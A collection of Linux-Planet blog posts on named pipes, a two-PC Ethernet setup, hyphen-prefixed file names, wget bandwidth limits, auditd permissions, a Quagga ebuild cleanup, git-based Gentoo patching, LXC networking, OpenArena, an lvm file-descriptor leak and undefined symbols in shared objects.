So, I have been selected as one of the teaching assistants for Operating systems course and this time we had to give some examples of Named Pipes, demonstrating one form of Inter Process Communication aka IPC to the students. I had never used them before, but its fun knowing and working with them.

I hope all of us have used pipes on Linux systems. Here is a simple pipe example I often use to check if a process is running or not.

[shredder12]$ ps -e | grep firefox

The symbol "|" used here is called pipe(its mostly above the "Enter" key). Just like conventional pipes, UNIX pipes are used to transfer data between processes, aka Inter Process communication. They transfer one program's/process's output to another process as input, ps and grep in our case. The output of 'ps -e' is transfered through pipe as an input to grep. They are called "pipes" because of their FIFO(first in first out) nature. They can be seen as files but with the FIFO property. We will see the reason in a little while.

Difference between Pipes and Named Pipes

In above example, as soon as the message is passed and grep executes, the pipe will no longer exist, i.e. it is a non-persistent thing, gets removed as soon as the task is over. Named pipes, however are persistent, have a name and they exist even after the processes are terminated. I think I might have lost you people here, so lets see a simple named pipe example.

[shredder12]$ mkfifo mypipe

This command creates a pipe. Now, if you do ls -l, you will see something like this

So, as you can see, it has everything similar to a file, but the FIFO property. It can be deleted just like a simple file, using rm.

[shredder12]$ rm mypipe

Lets begin with the usage part. Try running this command in a terminal

[shredder12]$ ps -e > mypipe

This command should have returned to a prompt(thats what you would have expected) but apparently it seems to get hanged in the middle of nowhere, why? The answer is these pipes work exactly like a conventional water-pipe does, i.e. it needs both the end to be open, one serving as an input and the other as output. So, the reason why the above command hasn't returned a prompt is because only one end of the pipe is opened, for the input. Until there is a process at the other end of the pipe to receive the data, the transfer or the communication isn't complete and so the command doesn't terminate.

Now, with the above command running in a terminal, try to run the following in another

[shredder12]$ cat mypipe

Now you will actually see the output of 'ps -e'. And note that this means the communication is done and as a result, both the commands will terminate and return to prompt.

If you have understood the basic working of pipes then you might wonder if we can create an infinite loop using two of them. In a 1997 article of LJ, the writer mentioned this little trick. Using two commands, he hooked up the ouptut of one pipe to other's input and vice versa, thus generating a loop.

However, I couldn't make it work on my system. After running the command, I didn't see any cat processes consuming huge resources. May be I did something wrong or may be the article is too old to work on today's systems, probably some defensive technique in later kernels to escape such accidents.

Anyway, I hope this small introduction to named pipes has given you a new insight into the working of Unix and Linux sytems.

Original post of shredder12.
Vote for this post on Linux-Planet.

I - Hardware :

• A RJ45 wire ;
• Plug in your ethernet wire to your computers ;

II - Conf :

Our case is : the PC "A" is the master and the PC "B" is the slave. (the B must connected to the A)

In the "interfaces" file (/etc/network/interfaces) of each computer :

PC A :

allow-hotplug eth0
iface eth0 inet static
address 192.168.3.3 # PC A's IP
netmask 255.255.255.0
brodcast 192.168.3.255

You can observe we don't use a gateway.

PC B :

allow-hotplug eth0
iface eth0 inet static
address 192.168.3.4 # PC B's IP
netmask 255.255.255.0
brodcast 192.168.3.255
gateway 192.168.3.3 # a gateway is necessary (PC A's IP)

Don't forget to modify "eth0" if it's needed (and the IPs).

And, you must mount eth0 on each computer (first on PCA and on PCB) :

ifup eth0

That's all ! This way to do is very easy to set up for sharing data, but can be sufficient. You only need, for example, to use Samba to share your data.

Original post of Scurz.
Vote for this post on Linux-Planet.

Those of you who have not been in such a situation would never know how it feels when you are stuck opening/deleting a file or directory. The more you have been working on the shell, the more it sucks. When I tried all I could to get it work and still ended up with the same error all the time, I just sat on my chair, staring at the monitor for a while, wondering if this is somekind of bash's loophole :P.

I was trying to grep through some pidgin facebook chats when I was stuck for a while trying to open a directory with the name starting with a hyphen("-"). I tried all I could think of, but I always ended with the same error.

[shredder12]$ cd -directory
bash: cd: -d: invalid option
cd: usage: cd [-L|-P] [dir]

[shredder12]$ cd \-directory

[shredder12]$ cd *directory

[shredder12]$ cd "-directory"

As you can see the trouble is that the alphabets after a "-", hyphen, are being considered as the command attributes/options but they are not, so what we need here is:

• a way to tell the command that its not an option
• or, make the command start with something other than a hyphen

The first method is to use a double-dash "--" before the name. A double-dash means the end of options to that command.

[shredder12]$ cp -- -directory/

For the other way, we need to start the command with something other than a hyphen and still make sure that its the same file.

[shredder12]$ cp ./-directory

Original post of shredder12.
Vote for this post on Linux-Planet.

While using Wget in scripts or otherwise, mostly when there is a lot of content to be downloaded, we need to set wget's network usage and bandwidth parameters. They both default to unlimited and when there is a lot of download involved, its always a good practice to set the limits. In this article, we will see how to control the bandwidth rate and total usage(quota).

Limit the download bandwidth rate using Wget's --limit-rate option

Just like any other application, wget will try to use the maximum amount of bandwidth available. If you want to control the download rate of wget, then use the --limit-rate flag. Lets say you want to download some video.

[shredder12]$ wget --limit-rate=60k http://foo.bar/video.ogv

This will limit the download rate to 60 KBps. Use "m" for MBps. Wget even accepts a decimal value, e.g. 2.5. This flag is beneficial only for large files. Thats because the implementation of the rate limitation feature takes sometime to achieve the concerned limit. So, it might not appear to be working for small files.

How to Wget: limit network bandwidth usage/quota using Wget's -Q option

The network quota or the total bandwidth usage can also be limited using wget's --quota or -Q attribute.

[shredder12]$ wget --quota 10m http://foo.bar/file.tgz http://foo.bar/otherfile.tgz

Please note that, if quota overflows while downloading a file then further downloading will be stopped once the current file is successfully downloaded. So, if the size of both the files are 8 and 5 MB then it will download both of them. Just like --limit-rate we can use m for Mega Bytes and similarly others. 0 sets the value to be unlimited.

Original post of shredder12.
Vote for this post on Linux-Planet.

auditd: /sbin/audispd permissions should be 0750

Auditd is a daemon which belongs to the auditd package. This package contains a bunch of user utilities to store and analyze all what it is being logged by the audit subsystem in the Linux 2.6 kernel.

The only thing to do for this release version of Ubuntu :

root@localhost:~# ls -l /sbin/audispd
-rwxr-xr-x 1 root root 96020 2009-09-10 00:52 /sbin/audispd

root@veronique-desktop:~# ls -l /sbin/audispd
-rwxr-x— 1 root root 96020 2009-09-10 00:52 /sbin/audispd

root@veronique-desktop:~# dpkg-reconfigure auditd
update-rc.d: warning: auditd start runlevel arguments (S) do not match LSB Default-Start values (2 3 4 5)
update-rc.d: warning: auditd stop runlevel arguments (0 6) do not match LSB Default-Stop values (0 1 6)

Original post of Linuxindetails.
Vote for this post on Linux-Planet.

For a series of reasons that I haven’t really written about at all, I need Quagga in my homemade Celeron router running Gentoo — for those who don’t know, Quagga is a fork of an older project called Zebra, and provides a few daemons for route advertisement protocols (such as RIP and BGP). Before yesterday, the last version of Quagga in Portage was 0.99.15 (and the stable is an old 0.98 still), but there was recently a security bug that required a bump to 0.99.17.

I was already planning on getting Quagga a bump to fix a couple of personal pet peeves with it on the router; since Alin doesn’t have much time, and also doesn’t use Quagga himself, I’ve added myself to the package’s metadata; and started polishing the ebuild and its support files. The alternative would have been for someone to just pick up the 0.99.15 ebuild, update the patch references, and push it out with the 0.99.17 version, which would have categorized for a 5-minutes-fix and wouldn’t have solved a few more problems the ebuild had.

Now, the ebuild (and especially the init scripts) make a point that they were contributed by someone working for a company that used Quagga; this is a good start, from one point: the code is supposed to work since it was used; on the other hand companies don’t usually care for the Gentoo practices and policies, and tend to write ebuilds that could be polished a bit further to actually be compliant to our guidelines. I like them as a starting point, and I got used to do the final touches in those cases. So if you have some ebuilds that you use internally and don’t want to spend time maintaining it forever, you can also hire me to clean them up and merge in tree.

So I started from the patches; the ebuild applied patches from a tarball, three unconditionally and two based on USE flags; both of those had URLs tied to them that pointed out that they were unofficial feature patches (a lot of networking software tend to have similar patches). I set out to check the patches; one was changing the detection of PCRE; one was obviously a fix for --as-needed, one was a fix for an upstream bug. All five of them were on a separate patchset tarball that had to be fetched from the mirrors. I decided to change the situation.

First of all, I checked the PCRE patch; actually the whole PCRE logic, inside configure is long winded and difficult to grok properly; on the other hand, a few comments and the code itself shows that the libpcreposix library is only needed non non-GNU systems, as GLIBC provides the regcomp/regexec functions. So instead of applying the patch and have a pcre USE flag, I changed to link the use or not of PCRE depending on the elibc_glibc implicit USE flag; one less patch to apply.

Second patch I looked at was the --as-needed-related patch that changed the order of libraries link so that the linker wouldn’t drop them out; it wasn’t actually as complete as I would have made. Since libtool handles transitive dependencies fine, if the libcap library is used in the convenience library, it only has to be listed there, not also in the final installed library. Also, I like to take a chance to remove unused definitions in the Makefile while I’m there. So I reworked the patch on top of the current master branch in their GIT, and sent it upstream hoping to get it merged before next release.

The third patch is a fix for an upstream bug that hasn’t been merged in a few releases already, so I kept it basically the same. The two feature patches had new versions released, and the Gentoo version seems to have gone out of sync with the upstream ones a bit; for the sake of reducing Gentoo-specific files and process, I decided to move to use the feature patches that the original authors release; since they are only needed when their USE flags are enabled, they are fetched from the original websites conditionally. The remaining patches are too small to be part of a patchset tarball, so I first simply put them in files/ are they were, with mine a straight export from GIT. Thinking about it a bit more, I decided today to combine them in a single file, and just properly handle them on Gentoo GIT (I started writing a post detailing how I manage GIT-based patches).

Patches done, the next step is clearing out the configuration of the program itself; the ipv6 USE flag handles the build and installation of a few extra specific daemons for for the IPv6 protocol; the rest are more or less direct mappings from the remaining flags. For some reason, the ebuild used --libdir to change the installation directory of the libraries, and then later installed an env.d file to set the linker search path; which is generally a bad idea — I guess the intention was just to follow that advice, and not push non-generic libraries into the base directory, but doing it that way is mostly pointless. Note to self: write about how to properly handle internal libraries. My first choice was to see if libtool set rpath properly, and in that case leave it to the loader to deal with it. Unfortunately it seems like there is something bad in libtool, and while rpath worked on my workstation, it didn’t work on the cross-build root for the router though; I’m afraid it’s related to the lib vs lib64 paths, sigh. So after testing it out on the production router, I ended up revbumping the ebuild already to unhack it — if libtool can handle it properly, I’ll get that fixed upstream so that the library is always installed, by default, as a package-internal library, in the mean time it gets installed vanilla as upstream wrote it. It makes even more sense given that there are headers installed that suggest the library is not an internal library after all.

In general, I found the build system of quagga really messed up and in need of an update; since I know how many projects are sloppy about build systems, I’d probably take a look. But sincerely, before that I have to finish what I started with util-linux!

While I was at it, I fixed the installation to use the more common emake DESTDIR= rather than the older einstall (which means that it now installs in parallel as well); and installed the sample files among the documentation rather than in /etc (reasoning: I don’t want to backup sample files, nor I want to copy them to the router, and it’s easier to move them away directly). I forgot the first time around to remove the .la files, but I did so afterwards.

What remains is the most important stuff actually; the init scripts! Following my own suggestions the scripts had to be mostly rewritten from scratch; this actually was also needed because the previous scripts had a non-Gentoo copyright owner and I wanted to avoid that. Also, there were something like five almost identical init scripts in the package, where almost is due to the name of the service itself; this means also that there had to be more than one file without any real reason. My solution is to have a single file for all of them, and symlink the remaining ones to that one; the SVCNAME variable is going to define the name of the binary to start up. The one script that differs from the other, zebra (it has some extra code to flush the routes) I also rewrote to minimise the differences between the two (this is good for compression, if not for deduplication). The new scripts also take care of creating the /var/run directory if it doesn’t exist already, which solves a lot of trouble.

Now, as I said I committed the first version trying it locally, and then revbumped it last night after trying it on production; I reworked that a bit harder; beside the change in libraries install, I decided to add a readline USE flag rather than force the readline dependency (there really isn’t much readline-capable on my router, since it’s barely supposed to have me connected), this also shown me that the PAM dependency was strictly related to the vtysh optional component; and while I looked at PAM, (Updated) I actually broke it (and fixed it back in r2); the code is calling pam_start() with a capital-case “Quagga” string; but Linux-PAM puts it in all lower case… I didn’t know that, and I was actually quite sure that it was case sensitive. Turns out that OpenPAM is case-sensitive, Linux-PAM is not; that explains why it works with one but not the other. I guess the next step in my list of things to do is check out if it might be broken with Turkish locale. (End of update)

Another thing that I noticed there is that by default Quagga has been building itself as a Position Independent Executable (PIE); as I have written before using PIE on a standard kernel, without strong ASLR, has very few advantages, and enough disadvantages that I don’t really like to have it around; so for now it’s simply disabled; since we do support proper flags passing, if you’re building a PIE-complete system you’re free to; and if you’re building an embedded-enough system, you have nothing else to do.

The result is a pretty slick ebuild, at least in my opinion, less files installed, smaller, Gentoo-copyrighted (I rewrote the scripts practically entirely). It handles the security issue but also another bunch of “minor” issues, it is closer to upstream and it has a maintainer that’s going to make sure that the future releases will have an even slicker build system. It’s nothing exceptional, mind you, but it’s what it is to fix an ebuild properly after a few years spent with bump-renames. See?

Afterword: a few people, seemingly stirred up by a certain other developer, seems to have started complaining that I “write too much”, or pretend that I actually have an uptake about writing here. The main uptake I have is not having to repeat myself over and over to different people. Writing posts cost me time, and keeping the blog running, reachable and so on so forth takes me time and money, and running the tinderbox costs me money. Am I complaining? Not so much; Flattr is helping, but trust me that it doesn’t even cover the costs of the hosting, up to now. I’m just not really keen on the slandering because I write out explanation of what I do and why. So from now on, you bother me? Your comments will be deleted. Full stop.

Original post of Diego.
Vote for this post on Linux-Planet.

Note: yes this is a more comprehensive rehashing of what I posted last December so if you’ve been following my blog for a long time you might not be extremely surprised by the content.

So let’s start with two ideas: branches and tags; for my system to work out properly, you need upstream to have tagged their releases properly; so if the foobar project just released version 1.2.3, we need to have a tag available that is called foobar-1.2.3, v1.2.3, or something along these lines. From that, we’ll start out a new “scratch branch”; it is important to note that it’s a scratch branch, because it means that it can be force-pushed and might require a complete new checkout to work properly. So we have something like the following:

% git clone git://git.foobar.floss/foobar.git
% cd foobar
% git checkout -b 1.2.3-gentoo origin/v1.2.3

This gives us the 1.2.3-gentoo branch as the scratch branch, and we’ll see how that behave in a moment. If upstream fails to provide tags you can also try to track down which exact commit a release corresponds to – it is tricky but not unfeasible – and replace origin/v1.2.3 with the actual SHA hash of the commit or, even better as you’ll guess by the end of the post, tag it yourself.

The idea of using a scratch branch, rather than an actual “gentoo branch” is mostly out of simplicity to me; most of the time, I make more than a couple of changes to a project if I’m packaging it – mostly because I find it easier to just fix possible autotools minor issues before they actually spread throughout the package and other packages as well – but just the actual fixes I want to apply to the packaged version; cleanups, improvements and optimisations I send upstream and wait for the next release. I didn’t always do it this way, I admit.. I changed my opinion when I started maintaining too many packages to follow all of them individually. For this reason I usually have either a personal or a “gentoo” branch where I make changes to apply to master branch, which get sent upstream and merged, and a scratch branch to handle patches. It also makes it no different to add a custom patch or a backport to a specific version (do note, I’ll try to use the word “backport” whenever possible to stress the important of getting the stuff merged upstream so that it will be present in the future, hopefully).

So we know that in the upstream repository there have been a few commits to fix corner case crashers that, incidentally, seem to always apply on Gentoo (don’t laugh, it happens more often than you can think). The commits have the shorthashes 1111111 2222222 3333333 — I have no fantasy for hashes, so sue me.

% git cherry-pick 1111111
% git cherry-pick 2222222
% git cherry-pick 3333333

Now you have a branch with three commits, cherry-picked copies (with different hashes) of the commits you need. At this point, what I usually do, is tagging the current state (and in a few paragraphs you’ll understand why), so that we can get the data out properly; at this point, the way you name the tag depends vastly on how you will release the backport, so I’ll get to that right away.

The most common way to apply patches in Gentoo, for good or bad, is adding them to the files/ subdirectory of a package; to be honest this is my least preferred way unless they are really trivial stuff, because it means that the patches will be sent down the mirrors to all users, no matter whether they use the software or not; also, given the fact that you can use GIT for patch storage and versioning, it’s also duplicating the effort. With GIT-stored patches, it’s usually the easiest to create a files/${PV}/ subdirectory and store there the patches as exported by git format-patch — easy, yes; nice nope: given that, as I’ll say, you’ll be picking the patches again when a new version is released, they’ll always have different hashes, and thus the files will always differ, even if the patch itself is the same patch. This not only wastes time, it makes it non-deduplicable and also gets around the duplicated-files check. D’oh!

A more intelligent way to handle these trivial patches is to use a single, combined patch; while patchutils has a way to combine patches, it’s not really smart; on the other hand, GIT, like most other source control managers, can provide you with diffs between arbitrary points in the repository’s history… you can thus use git diff to export a combined, complete patch in a single file (though lacking history, attribution and explanation). This helps quite a lot when you have a few, or a number, of very small patches, one or two hunks each, that would cause too much overhead in the tree. Combining this way bigger patches can also work, but you’re more likely to compress it and upload it to the mirrors, or to some storage area and add it to SRC_URI.

A third alternative, which is also requiring you to have a storage area for extra distfiles, is using a so-called “patchset tarball”; as a lot of packages already do. The downside of this is that if you have a release without any patch tarball at all, it becomes less trivial to deal with it. At any rate, you can just put in a compressed tar archive the files created, once again, by git format-patch; if you add them as a subdirectory such as patches/ you can then use the epatch function from eutils.eclass to apply them sequentially, simply pointing it at the directory. You can then use the EPATCH_EXCLUDE variable to remove one patch without re-rolling the entire tarball.

Note: epatch itself was designed to use a slightly different patchset tarball format, that included the use of a specification of the architecture, or all to apply to all architectures. This was mostly because its first users were the toolchain-related packages, where architecture-dependent patches are very common. On the other hand, using conditional patches is usually discouraged, and mostly frown upon, for the rest of the software. Reason being that’s quite more likely to make a mistake when conditionality is involved; and that’s nothing new since it was the topic of an article I wrote over five years ago.

If you export the patches as multiple files in filesdir/, you’re not really going to have to think much about naming the tag; for both other cases you have multiple options: tie the name to the ebuild release, tie it to the CVS revision indication, and so on. My personal preferred choice is that of using a single incremental, non-version-specific number for patch tarballs and patches, and mix that with the upstream release version in the tag; in the example above, it would be 1.2.3-gentoo+1. This is, though, just a personal preference.

The reason is simple to explain and I hope it makes sense for others than me; if you tie it to the release of the ebuild (i.e. ${PF}), like the Ruby team did before, you end up in trouble when you want to add a build-change-only patch – take for instance the Berkeley DB 5.0 patch; it doesn’t change what is already installed on a system built with 4.8; it only allows to build anew with 5.0; given that, bumping the release in tree is going to waste users’ time – while using the CVS revision will create quite a few jumps (if you use the revision of the ebuild, that is) as many times you change the ebuild without changing the patches. Removing the indication of the upstream version is also useful, albeit rarely, when upstream does not merge any of your patches, and you could simply reuse the same patchset tarball as previous release; it’s something that comes handy especially when security releases are done.

At this point, as a summary you can do something like this:

• mkdir patches; pushd patches; git format-patch v1.2.3..; popd; tar jcf foobar-gentoo-1.tar.bz2 patches — gets you a patchset tarball with the patches (similarly you can prepare split patches to run add to the tree);
• git diff v1.2.3.. > foobar-gentoo-1.patch — creates the complete patch that you can either compress, or upload to mirrors or (if very very little) put it on the tree.

Now, let’s say upstream releases version 1.2.4, and integrates one of our patches. Redoing the patches is quick with GIT as well.

% git checkout -b 1.2.4-gentoo
% git rebase v1.2.4

If there are compatible changes, the new patches will be applied just fine, and updated to not apply with fuzz; any patch that was applied already will count as “empty” and will be simply removed from the branch. At that point, you can just reiterate the export as said above.

When pushing to the repository, remember to push explicitly the various gentoo branches, and make sure to push --tags as well. If you’re a Gentoo developer, you can host such repository on git.overlays.gentoo.org host a few of them already; lxc, libvirt, quagga …); probably contributors, even not developers, can ask for similar repositories to be hosted there.

I hope this can help out other developers dealing with GIT-bound upstreams to ease their overweight.

Original post of Diego.
Vote for this post on Linux-Planet.

First of all, of the four networking types supported by LXC, I only could try two, for obvious reasons: phys is used to assign a particular physical device to the container, and only works if you have enough physical devices to work with, vlan requires a device able to do vlan tagging. This leaves us with veth (virtual ethernet), and macvlan (mac-address based virtual lan tagging). The former is the most simple setup, and the one I’ve been using; it creates a pair of devices, one of which is assigned within the container, and the other which is assigned to the host; you can then manage that device exactly like any other device you have on your system, and in my case that means it’s added to the br0 bridge where KVM instances are also joined. LXC allows for defining the bridge to join directly in the configuration file.

The macvlan mode is supposed to have smaller overhead because the kernel knows the mac address assigned to the single interfaces beforehand; on the other hand setting it up is slightly harder; in particular, there is one further mode parameter that can be set, in either vepa (Virtual Ethernet Port Aggregator) or bridge mode; the former isolates the container, like they were a number of different hosts connected over to the network segment, but disallows the various containers from talking with one another; on the other hand the latter mode actually creates a special bridge (not to be confused with the Linux bridge used above with virtual ethernet devices), that allows all the containers to talk with one another.. but isolates them from the host system

You end up having to choose between the performance of network-to-container and that of host-to-container: in the first case you can choose macvlan, reducing the work the kernel has to do, but requiring you to route your own traffic to the container with an outside router; in the second case you use veth and make the kernel handle the bridge itself. In my case, since the containers are mostly used for local testing, and the workstation will still be using the in-kernel bridge anyway, the choice is obvious for veth.

Now, when I decided to seal the tinderbox I wondered about one thing, that LXC cannot do and that I would like to find the time to send upstream. As it is, I want to disallow any access from the tinderbox to the outside, minus the access to the RSync service and the non-caching Squid proxy. To achieve that I dropped IPv4 connectivity (so I don’t run any DHCP client at all), and limited myself to autoconfigured IPv6 addresses; then I set in /etc/hosts the static address for yamato.home.flameeyes.eu, and used that as hostname for the two services. Using iptables to firewall the access to any other thing had unfortunate results before (the kernel locked up without actually any panic happening); while I have to investigate that again, I don’t think much changed in that regard. There is no access to the outside network or from the outside network, since the main firewall is set to refuse talking at all with the tinderbox, but that’s not generally a good thing (I would like, at some point in the future, to allow access to the tinderbox to other developers), and does not ensures isolation between that and the other boxes on the network, which is a security risk (remember: the tinderbox builds and execute a lot of code that for me is untrusted).

Now, assuming that the iptables kernel problem happens only with the bridge enabled (I would be surprised if it failed that badly on a pure virtual ethernet device!), my solution was actually kinda easy: I would just have used the link-local IPv6 address, and relied on Yamato as a jump-host to connect to the tinderbox. Unfortunately, while LXC allows you to set a fixed hardware address for the interface created inside the container, it provides you no way to do the same for the host-side interface (which also get a random name such as veth8pUZr), so you cannot simply use iptables to enforce the policy as easily.

But up to this, it’s just a matter of missing configuration interfaces, so it shouldn’t be much of a problem, no? Brian pointed out a chance of safety issue there though, and I went on to check it out. Since when you use virtual ethernet devices it is the kernel’s bridge that takes care of identifying where to send the packages based on STP there is no checking of the hardware address used by the container; just like the IP settings you have there, any root user inside the container can add and remove IP addresses and change the mac address of it altogether. D’uh!

I’m not sure whether this would work better with macvlan, but as it is, there is enough work to be done with the configuration interface, and – over an year after the tinderbox started using LXC to run – it’s still not ready for production use — or at least not for the kind of production use where you actually allow third parties to access a “virtualised” root.

For those interested, the original SVG file of the (bad) network diagrams used in the article, is here and is drawn using Inkscape.

Original post of Diego.
Vote for this post on Linux-Planet.

Guess where did I play Quake III Arena for the first time. Not place, I am talking about the platform/Operating System. Nope! its not windows, its Linux . Surprised, right? I was too when I found this brilliant opensource version of Quake III Arena aka OpenArena.

While looking for a good one man shooting game in the software center, I bumped into this one which says, "a fast-paced 3D first-person shooting game." I decided to give it a try. After downloading around 300 MB of the packages the game was finally installed and while runnning and shooting weird creatures(some almost nude lady warriors too ) I couldn't believe that even such a game could be totally free.

I was indeed dazzled by the brilliance of this game but since I had never played Quake III Arena before, I never realized that it was almost exactly like it. One day co-author Chia saw me playing it and asked where the hell did I get Quake from? Thats when I came to know I had accidently found something really cool.

After gathering a little info about, I found out that it is actually Quake III Arena. Its built upon ioquake3, based on id tech3, the Quake3 game engine which was opensourced by the company, id software, in Aug 2005.

Thats when OpenArena project was established to built an opensource FPS game derieved from Quake III Arena. ioquake3 is a project aimed to improve the opensource engine further.

If you have been a Quake III Arena fan and miss it on Linux then you should give openarena a try. The one thing that sucks is its incompatibility with the propreitary game. I haven't tried coupling the original with openarena but I guess that won't work. However, its being cross-platorm removes most of the hurdles for network gaming. You can find the listing for online openarena servers here.

Install OpenArena

It is available in repos of almost all common distros. You can easily install it using the package manager. Otherwise, try running these commands.

[shredder12]$ sudo apt-get install openarena     #for Ubuntu or Debian based systems

[root]# yum install openarena    #for Fedora or RedHat based systems

Original post of shredder12.
Vote for this post on Linux-Planet.

File descriptor 3 (/tmp/mojo-jojo.blah.qN83BE) leaked on lvm invocation. Parent PID 3006: /bin/bash
File descriptor 3 (/tmp/mojo-jojo.blah.qN83BE) leaked on lvm invocation. Parent PID 3049: /bin/bash
File descriptor 3 (/tmp/mojo-jojo.blah.qN83BE) leaked on lvm invocation. Parent PID 3109: /bin/bash
File descriptor 3 (/tmp/mojo-jojo.blah.qN83BE) leaked on lvm invocation. Parent PID 3129: /bin/bash
File descriptor 3 (/tmp/mojo-jojo.blah.qN83BE) leaked on lvm invocation. Parent PID 3196: /bin/bash
File descriptor 3 (/tmp/mojo-jojo.blah.qN83BE) leaked on lvm invocation. Parent PID 3268: /bin/bash
File descriptor 3 (/tmp/mojo-jojo.blah.qN83BE) leaked on lvm invocation. Parent PID 3326: /bin/bash
File descriptor 3 (/tmp/mojo-jojo.blah.qN83BE) leaked on lvm invocation. Parent PID 3385: /bin/bash
File descriptor 3 (/tmp/mojo-jojo.blah.qN83BE) leaked on lvm invocation. Parent PID 3450: /bin/bash
File descriptor 3 (/tmp/mojo-jojo.blah.qN83BE) leaked on lvm invocation. Parent PID 3512: /bin/bash
File descriptor 3 (/tmp/mojo-jojo.blah.qN83BE) leaked on lvm invocation. Parent PID 3574: /bin/bash
File descriptor 3 (/tmp/mojo-jojo.blah.qN83BE) leaked on lvm invocation. Parent PID 3631: /bin/bash
File descriptor 3 (/tmp/mojo-jojo.blah.qN83BE) leaked on lvm invocation. Parent PID 3687: /bin/bash
File descriptor 3 (/tmp/mojo-jojo.blah.qN83BE) leaked on lvm invocation. Parent PID 3749: /bin/bash
File descriptor 3 (/tmp/mojo-jojo.blah.qN83BE) leaked on lvm invocation. Parent PID 3805: /bin/bash
File descriptor 3 (/tmp/mojo-jojo.blah.qN83BE) leaked on lvm invocation. Parent PID 3861: /bin/bash

After googling a little bit, here is the first explanation I managed to find. It seems that the lvm utility inherited all the opened file descriptors from the shell where it was launched.

By default, only three file descriptors are opened : 0 standard input,  1 standard output and 2 error output. So, a file descriptor named 3 was opened by a program but not closed properly.

A similar bug was reported within the official Debian bugreport :

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=466138

Original post of Linuxindetails.
Vote for this post on Linux-Planet.

Before deepening within the topic I first have to tell you about symbols I guess; and to do so, and to continue further, I’ll be using C as the base language for everyone of my notes. When considering C, then, a symbol is any function or data (constant or variable) that is declared extern; that is anything that is neither static or defined in the same translation unit (that is, source file, most of the time).

Now, what nm shows as undefined (U code) is not really what we’re concerned about; for object files (.o, just intermediate) will report undefined symbols for any function or data element used that is not in the same translation unit; most of those get resolved at the time all the object files get linked in to form a final shared object or executable — actually, it’s a lot more complex than this, but since I don’t care about describing here symbolic resolution, please accept it like it was true.

The remaining symbols will be keeping the U code in the shared object or executable, but most of them won’t concern us: they will be loaded from the linked libraries, when the dynamic loader actually resolve them. So for instance, the executable built from the following source code, will have the printf symbol “undefined” (for nm), but it’ll be resolved by the dynamic linker just fine:

int main() {
  printf("Hello, world!");
}

I have explicitly avoided using the fprintf function, mostly because that would require a further undefined symbol, so…

Why do I say that undefined symbols are our worst enemy? Well, the problem is actually with undefined, unresolved symbols after the loader had its way. These are either symbols for functions and data that is not really defined, or is defined in libraries that are not linked in. The former case is what you get with most of the new-version compatibility problems (glibc, gtk, ruby); the latter is what you get with --as-needed.

Now, if you have a bit of practice with development and writing simple commands, you’d be now wondering why is this a kind of problem; if you were to mistype the function above into priltf – a symbol that does not exist, at least in the basic C library – the compiler will refuse to create an executable at all, even if the implicit declaration was only treated as a warning, because the symbol is, well, not defined. But this rule only applies, by default, to final executables, not to shared objects (shared libraries, dynamic libraries, .so, .dll or .dylib files).

For shared objects, you have to explicitly ask to refuse linking them with undefined reference, otherwise they are linked just fine, with no warning, no error, no bothering at all. The way you can tell the linker to refuse that kind of linkage is passing the -Wl,--no-undefined flag; this way if there is even a single symbol that is not defined in the current library or any of its dependencies the linker will refuse to complete the link. Unfortunately, using this by default is not going to work that well.

There are indeed some more or less good reasons to allow shared objects to have undefined symbols, and here come a few:

Multiple ABI-compatible libraries: okay this is a very far-fetched one, simply for the difficulty to have ABI-compatible libraries (it’s difficult enough to have them API-compatible!), but it happens; for instance on FreeBSD you – at least used to – have a few different implementations of the threading libraries, and have more or less the same situation for multiple OpenGL and mathematical libraries; the idea behind this is actually quite simply; if you have libA1 and libA2 providing the symbols, then libB linking to libA1, and libC linking to libA2, an executable foo linking to libB and libC would get both libraries linked together, and creating nasty symbol collisions.

Nowadays, FreeBSD handles this through a libmap.conf file that allows to link always the same library, but then switch at load-time with a different one; a similar approach is taken by things like libgssglue that allows to switch the GSSAPI implementation (which might be either of Kerberos or SPKM) with a configuration file. On Linux, beside this custom implementation, or hacks such as that used by Gentoo (eselect opengl) to handle the switch between different OpenGL implementations, there seem to be no interest in tackling the problem at the root. Indeed, I complained about that when --as-needed was softened to allow this situation although I guess it at least removed one common complain about adopting the option by default.

Plug-ins hosted by a standard executable: plug-ins are, generally speaking, shared objects; and with the exception of the most trivial plugins, whose output is only defined in terms of their input, they use functions that are provided by the software they plug. When they are hosted (loaded and used from) by a library, such as libxine, they are linked back to the library itself, and that makes sure that the symbols are known at the time of creating the plugin object. On the other hand, when the plug-ins are hosted by some software that is not a shared object (which is the case of, say, zsh), then you have no way to link them back, and the linker has no way to discern between undefined symbols that will be lifted from the host program, and those that are bad, and simply undefined.

Plug-ins providing symbols for other plug-ins : here you have a perfect example in the Ruby-GTK2 bindings; when I first introduced --no-undefined in the Gentoo packaging of Ruby (1.9 initially, nowadays all the three C-based implementations have the same flag passed on), we got reports of non-Portage users of Ruby-GTK2 having build failures. The reason? Since all the GObject-derived interfaces had to share the same tables and lists, the solution they chose was to export an interface, unrelated to the Ruby-extension interface (which is actually composed of a single function, bless them!), that the other extensions use; since you cannot reliably link modules one with the other, they don’t link to them and you get the usual problem of not distinguish between expected and unexpected undefined symbols.

Note: this particular case is not tremendously common; when loading plug-ins with dlopen() the default is to use the RTLD_LOCAL option, which means that the symbols are only available to the branch of libraries loaded together with that library or with explicit calls to dlsym(); this is a good thing because it reduces the chances of symbol collisions, and unexpected linking consequences. On the other hand, Ruby itself seems to go all the way against the common idea of safety: they require RTLD_GLOBAL (register all symbols in the global procedure linking table, so that they are available to be loaded at any point in the whole tree), and also require RTLD_LAZY, which makes it more troublesome if there are missing symbols — I’ll get later to what lazy bindings are.

Finally, the last case I can think of where there is at least some sense into all of this trouble, is reciprocating libraries, such as those in PulseAudio. In this situation, you have two libraries, each using symbols from one another. Since you need the other to fully link the one, but you need the one to link the other, you cannot exit the deadlock with --no-undefined turned on. This, and the executable-plugins-host, are the only two reasons that I find valid for not using --no-undefined by default — but unfortunately are not the only two used.

So, what about that lazy stuff? Well, the dynamic loader has to perform a “binding” of the undefined symbols to their definition; binding can happen in two modes, mainly: immediate (“now”) or lazy, the latter being the default. With lazy bindings, the loader will not try to find the definition to bind to the symbol until it’s actually needed (so until the function is called, or the data is fetched or written to); with immediate bindings, the loader will iterate over all the undefined symbols of an object when it is loaded (eventually loading up the dependencies). As you might guess, if there are undefined, unresolved symbol, the two binding types have very different behaviours. An immediately-loaded executable will fail to start, and a loaded library would fail dlopen(); a lazily-loaded executable will start up fine, and abort as soon as a symbol is hit that cannot be resolved; and a library would simply make its host program abort at the same way. Guess what’s safer?

